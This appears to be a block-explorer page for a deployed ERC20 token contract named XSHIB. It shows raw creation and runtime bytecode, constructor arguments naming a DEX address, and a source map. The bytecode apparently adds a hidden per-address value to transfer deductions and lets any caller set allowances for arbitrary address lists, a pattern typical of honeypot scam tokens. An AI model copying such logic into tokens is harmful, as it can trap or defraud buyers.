5b602002602001015187611173565b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258760405161094f9190611588565b60405180910390a3808061096290611a32565b91505061081b565b5060019250505092915050565b6000610a2c3384610a2785604051806060016040528060258152602001611dd760259139600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110449092919063ffffffff16565b610bc9565b6001905092915050565b6000610a43338484610d92565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610af36106e7565b73ffffffffffffffffffffffffffffffffffffffff1614610b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4090611914565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baf90611aec565b60405180910390fd5b610bc1816110af565b50565b600181565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2f90611b7e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ca7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9e90611c10565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d859190611588565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df890611ca2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6790611d34565b60405180910390fd5b6000610e7b8461069e565b90506000811115610e95578082610e9291906119cf565b91505b610f0182604051806060016040528060268152602001611d8960269139600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110449092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f9682600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461109990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110369190611588565b60405180910390a350505050565b600083831115829061108c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110839190611439565b60405180910390fd5b5082840390509392505050565b600081836110a791906119cf565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080808261118291906119cf565b9050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036111f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ea90611980565b60405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16036112f55780600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112979190611d54565b9250508190555082826112aa91906119cf565b915081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113a2565b80600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113449190611d54565b9250508190555081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461139a91906119cf565b925050819055505b5050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156113e35780820151818401526020810190506113c8565b60008484015250505050565b6000601f19601f8301169050919050565b600061140b826113a9565b61141581856113b4565b93506114258185602086016113c5565b61142e816113ef565b840191505092915050565b600060208201905081810360008301526114538184611400565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061149a8261146f565b9050919050565b6114aa8161148f565b81146114b557600080fd5b50565b6000813590506114c7816114a1565b92915050565b6000819050919050565b6114e0816114cd565b81146114eb57600080fd5b50565b6000813590506114fd816114d7565b92915050565b6000806040838503121561151a57611519611465565b5b6000611528858286016114b8565b9250506020611539858286016114ee565b9150509250929050565b60008115159050919050565b61155881611543565b82525050565b6000602082019050611573600083018461154f565b92915050565b611582816114cd565b82525050565b600060208201905061159d6000830184611579565b92915050565b6000806000606084860312156115bc576115bb611465565b5b60006115ca868287016114b8565b93505060206115db868287016114b8565b92505060406115ec868287016114ee565b9150509250925092565b600060ff82169050919050565b61160c816115f6565b82525050565b60006020820190506116276000830184611603565b92915050565b60006020828403121561164357611642611465565b5b6000611651848285016114b8565b91505092915050565b6116638161148f565b82525050565b600060208201905061167e600083018461165a565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6116c1826113ef565b810181811067ffffffffffffffff821117156116e0576116df611689565b5b80604052505050565b60006116f361145b565b90506116ff82826116b8565b919050565b600067ffffffffffffffff82111561171f5761171e611689565b5b602082029050602081019050919050565b600080fd5b600061174861174384611704565b6116e9565b9050808382526020820190506020840283018581111561176b5761176a611730565b5b835b81811015611794578061178088826114b8565b84526020840193505060208101905061176d565b5050509392505050565b600082601f8301126117b3576117b2611684565b5b81356117c3848260208601611735565b91505092915050565b600080604083850312156117e3576117e2611465565b5b600083013567ffffffffffffffff8111156118015761180061146a565b5b61180d8582860161179e565b925050602061181e858286016114ee565b9150509250929050565b6000806040838503121561183f5761183e611465565b5b600061184d858286016114b8565b925050602061185e858286016114b8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806118af57607f821691505b6020821081036118c2576118c1611868565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006118fe6020836113b4565b9150611909826118c8565b602082019050919050565b6000602082019050818103600083015261192d816118f1565b9050919050565b7f696e76616c696420616464726573730000000000000000000000000000000000600082015250565b600061196a600f836113b4565b915061197582611934565b602082019050919050565b600060208201905081810360008301526119998161195d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006119da826114cd565b91506119e5836114cd565b92508282019050808211156119fd576119fc6119a0565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611a3d826114cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611a6f57611a6e6119a0565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611ad66026836113b4565b9150611ae182611a7a565b604082019050919050565b60006020820190508181036000830152611b0581611ac9565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611b686024836113b4565b9150611b7382611b0c565b604082019050919050565b60006020820190508181036000830152611b9781611b5b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611bfa6022836113b4565b9150611c0582611b9e565b604082019050919050565b60006020820190508181036000830152611c2981611bed565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611c8c6025836113b4565b9150611c9782611c30565b604082019050919050565b60006020820190508181036000830152611cbb81611c7f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611d1e6023836113b4565b9150611d2982611cc2565b604082019050919050565b60006020820190508181036000830152611d4d81611d11565b9050919050565b6000611d5f826114cd565b9150611d6a836114cd565b9250828203905081811115611d8257611d816119a0565b5b9291505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b03e69ed9a7f2e5a295472e44bef58e41c8e30a685d7d897c11b61cea05b6b2c64736f6c63430008130033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000002e886a1a771cb4d96c71f3f1cdeb47af995e1c070000000000000000000000000000000000000000000000000000000005f5e1000000000000000000000000000000000000000000000000000000000000000005585348494200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055853484942000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063865bf9b1116100a2578063a457c2d711610071578063a457c2d7146102d0578063a9059cbb14610300578063dd62ed3e14610330578063f2fde38b14610360578063ffa1ad741461037c5761010b565b8063865bf9b1146102345780638da5cb5b1461026457806395d89b41146102825780639ebbaef7146102a05761010b565b8063313ce567116100de578063313ce567146101ac57806339509351146101ca57806370a08231146101fa578063715018a61461022a5761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b61011861039a565b6040516101259190611439565b60405180910390f35b61014860048036038101906101439190611503565b61042c565b604051610155919061155e565b60405180910390f35b610166610443565b6040516101739190611588565b60405180910390f35b610196600480360381019061019191906115a3565b61044d565b6040516101a3919061155e565b60405180910390f35b6101b4610518565b6040516101c19190611612565b60405180910390f35b6101e460048036038101906101df9190611503565b61052f565b6040516101f1919061155e565b60405180910390f35b610214600480360381019061020f919061162d565b6105d4565b6040516102219190611588565b60405180910390f35b61023261061d565b005b61024e6004803603810190610249919061162d565b61069e565b60405161025b9190611588565b60405180910390f35b61026c6106e7565b6040516102799190611669565b60405180910390f35b61028a610710565b6040516102979190611439565b60405180910390f35b6102ba60048036038101906102b591906117cc565b6107a2565b6040516102c7919061155e565b60405180910390f35b6102ea60048036038101906102e59190611503565b610977565b6040516102f7919061155e565b60405180910390f35b61031a60048036038101906103159190611503565b610a36565b604051610327919061155e565b60405180910390f35b61034a60048036038101906103459190611828565b610a4d565b6040516103579190611588565b60405180910390f35b61037a6004803603810190610375919061162d565b610ad4565b005b610384610bc4565b6040516103919190611588565b60405180910390f35b6060600580546103a990611897565b80601f01602080910402602001604051908101604052809291908181526020018280546103d590611897565b80156104225780601f106103f757610100808354040283529160200191610422565b820191906000526020600020905b81548152906001019060200180831161040557829003601f168201915b5050505050905090565b6000610439338484610bc9565b6001905092915050565b6000600854905090565b600061045a848484610d92565b61050d843361050885604051806060016040528060288152602001611daf60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110449092919063ffffffff16565b610bc9565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006105ca33846105c585600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461109990919063ffffffff16565b610bc9565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661063c6106e7565b73ffffffffffffffffffffffffffffffffffffffff1614610692576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068990611914565b60405180910390fd5b61069c60006110af565b565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461071f90611897565b80601f016020809104026020016040519081016040528092919081815260200182805461074b90611897565b80156107985780601f1061076d57610100808354040283529160200191610798565b820191906000526020600020905b81548152906001019060200180831161077b57829003601f168201915b5050505050905090565b600080339050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610817576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080e90611980565b60405180910390fd5b6000805b855181101561096a57808261083091906119cf565b915084600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600088848151811061088757610886611a03565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108f2838783815181106108e4576108e3611a03565b5b602002602001015187611173565b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258760405161094f9190611588565b60405180910390a3808061096290611a32565b91505061081b565b5060019250505092915050565b6000610a2c3384610a2785604051806060016040528060258152602001611dd760259139600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110449092919063ffffffff16565b610bc9565b6001905092915050565b6000610a43338484610d92565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610af36106e7565b73ffffffffffffffffffffffffffffffffffffffff1614610b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4090611914565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baf90611aec565b60405180910390fd5b610bc1816110af565b50565b600181565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2f90611b7e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ca7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9e90611c10565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d859190611588565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df890611ca2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6790611d34565b60405180910390fd5b6000610e7b8461069e565b90506000811115610e95578082610e9291906119cf565b91505b610f0182604051806060016040528060268152602001611d8960269139600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110449092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f9682600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461109990919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110369190611588565b60405180910390a350505050565b600083831115829061108c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110839190611439565b60405180910390fd5b5082840390509392505050565b600081836110a791906119cf565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080808261118291906119cf565b9050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036111f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ea90611980565b60405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16036112f55780600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112979190611d54565b9250508190555082826112aa91906119cf565b915081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113a2565b80600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113449190611d54565b9250508190555081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461139a91906119cf565b925050819055505b5050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156113e35780820151818401526020810190506113c8565b60008484015250505050565b6000601f19601f8301169050919050565b600061140b826113a9565b61141581856113b4565b93506114258185602086016113c5565b61142e816113ef565b840191505092915050565b600060208201905081810360008301526114538184611400565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061149a8261146f565b9050919050565b6114aa8161148f565b81146114b557600080fd5b50565b6000813590506114c7816114a1565b92915050565b6000819050919050565b6114e0816114cd565b81146114eb57600080fd5b50565b6000813590506114fd816114d7565b92915050565b6000806040838503121561151a57611519611465565b5b6000611528858286016114b8565b9250506020611539858286016114ee565b9150509250929050565b60008115159050919050565b61155881611543565b82525050565b6000602082019050611573600083018461154f565b92915050565b611582816114cd565b82525050565b600060208201905061159d6000830184611579565b92915050565b6000806000606084860312156115bc576115bb611465565b5b60006115ca868287016114b8565b93505060206115db868287016114b8565b92505060406115ec868287016114ee565b9150509250925092565b600060ff82169050919050565b61160c816115f6565b82525050565b60006020820190506116276000830184611603565b92915050565b60006020828403121561164357611642611465565b5b6000611651848285016114b8565b91505092915050565b6116638161148f565b82525050565b600060208201905061167e600083018461165a565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6116c1826113ef565b810181811067ffffffffffffffff821117156116e0576116df611689565b5b80604052505050565b60006116f361145b565b90506116ff82826116b8565b919050565b600067ffffffffffffffff82111561171f5761171e611689565b5b602082029050602081019050919050565b600080fd5b600061174861174384611704565b6116e9565b9050808382526020820190506020840283018581111561176b5761176a611730565b5b835b81811015611794578061178088826114b8565b84526020840193505060208101905061176d565b5050509392505050565b600082601f8301126117b3576117b2611684565b5b81356117c3848260208601611735565b91505092915050565b600080604083850312156117e3576117e2611465565b5b600083013567ffffffffffffffff8111156118015761180061146a565b5b61180d8582860161179e565b925050602061181e858286016114ee565b9150509250929050565b6000806040838503121561183f5761183e611465565b5b600061184d858286016114b8565b925050602061185e858286016114b8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806118af57607f821691505b6020821081036118c2576118c1611868565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006118fe6020836113b4565b9150611909826118c8565b602082019050919050565b6000602082019050818103600083015261192d816118f1565b9050919050565b7f696e76616c696420616464726573730000000000000000000000000000000000600082015250565b600061196a600f836113b4565b915061197582611934565b602082019050919050565b600060208201905081810360008301526119998161195d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006119da826114cd565b91506119e5836114cd565b92508282019050808211156119fd576119fc6119a0565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611a3d826114cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611a6f57611a6e6119a0565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611ad66026836113b4565b9150611ae182611a7a565b604082019050919050565b60006020820190508181036000830152611b0581611ac9565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611b686024836113b4565b9150611b7382611b0c565b604082019050919050565b60006020820190508181036000830152611b9781611b5b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611bfa6022836113b4565b9150611c0582611b9e565b604082019050919050565b60006020820190508181036000830152611c2981611bed565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611c8c6025836113b4565b9150611c9782611c30565b604082019050919050565b60006020820190508181036000830152611cbb81611c7f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611d1e6023836113b4565b9150611d2982611cc2565b604082019050919050565b60006020820190508181036000830152611d4d81611d11565b9050919050565b6000611d5f826114cd565b9150611d6a836114cd565b9250828203905081811115611d8257611d816119a0565b5b9291505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b03e69ed9a7f2e5a295472e44bef58e41c8e30a685d7d897c11b61cea05b6b2c64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000002e886a1a771cb4d96c71f3f1cdeb47af995e1c070000000000000000000000000000000000000000000000000000000005f5e1000000000000000000000000000000000000000000000000000000000000000005585348494200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055853484942000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): XSHIB
Arg [1] : symbol_ (string): XSHIB
Arg [2] : dex_ (address): 0x2E886A1A771CB4D96C71f3f1CDeB47af995e1C07
Arg [3] : totalSupply_ (uint256): 100000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000002e886a1a771cb4d96c71f3f1cdeb47af995e1c07
Arg [3] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [5] : 5853484942000000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 5853484942000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

7674:5803:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8654:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9909:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9123:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10112:450;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8967:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10570:284;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9294:157;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;847:94;;;:::i;:::-;;11908:106;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;541:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8864:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10862:502;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12022:384;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9459:198;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9720:181;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;949:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7575:35;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8654:91;8699:13;8732:5;8725:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8654:91;:::o;9909:192::-;10012:4;10034:37;10043:10;10055:7;10064:6;10034:8;:37::i;:::-;10089:4;10082:11;;9909:192;;;;:::o;9123:108::-;9184:7;9211:12;;9204:19;;9123:108;:::o;10112:450::-;10252:4;10269:36;10279:6;10287:9;10298:6;10269:9;:36::i;:::-;10316:216;10339:6;10360:10;10385:136;10439:6;10385:136;;;;;;;;;;;;;;;;;:11;:19;10397:6;10385:19;;;;;;;;;;;;;;;:31;10405:10;10385:31;;;;;;;;;;;;;;;;:35;;:136;;;;;:::i;:::-;10316:8;:216::i;:::-;10550:4;10543:11;;10112:450;;;;;:::o;8967:91::-;9016:5;9041:9;;;;;;;;;;;9034:16;;8967:91;:::o;10570:284::-;10673:4;10695:129;10718:10;10743:7;10765:48;10802:10;10765:11;:23;10777:10;10765:23;;;;;;;;;;;;;;;:32;10789:7;10765:32;;;;;;;;;;;;;;;;:36;;:48;;;;:::i;:::-;10695:8;:129::i;:::-;10842:4;10835:11;;10570:284;;;;:::o;9294:157::-;9393:7;9425:9;:18;9435:7;9425:18;;;;;;;;;;;;;;;;9418:25;;9294:157;;;:::o;847:94::-;772:10;761:21;;:7;:5;:7::i;:::-;:21;;;753:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;912:21:::1;930:1;912:9;:21::i;:::-;847:94::o:0;11908:106::-;11966:7;11993:4;:13;11998:7;11993:13;;;;;;;;;;;;;;;;11986:20;;11908:106;;;:::o;541:87::-;587:7;614:6;;;;;;;;;;;607:13;;541:87;:::o;8864:95::-;8911:13;8944:7;8937:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8864:95;:::o;10862:502::-;10937:4;10954:12;10969:10;10954:25;;11014:1;10998:18;;:4;:18;;;10990:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;11047:20;11087:9;11082:253;11106:7;:14;11102:1;:18;11082:253;;;11158:1;11142:17;;;;;:::i;:::-;;;11206:6;11174:11;:17;11186:4;11174:17;;;;;;;;;;;;;;;:29;11192:7;11200:1;11192:10;;;;;;;;:::i;:::-;;;;;;;;11174:29;;;;;;;;;;;;;;;:38;;;;11227:39;11241:4;11247:7;11255:1;11247:10;;;;;;;;:::i;:::-;;;;;;;;11259:6;11227:13;:39::i;:::-;11309:4;11286:37;;11295:4;11286:37;;;11316:6;11286:37;;;;;;:::i;:::-;;;;;;;;11122:3;;;;;:::i;:::-;;;;11082:253;;;;11352:4;11345:11;;;;10862:502;;;;:::o;12022:384::-;12130:4;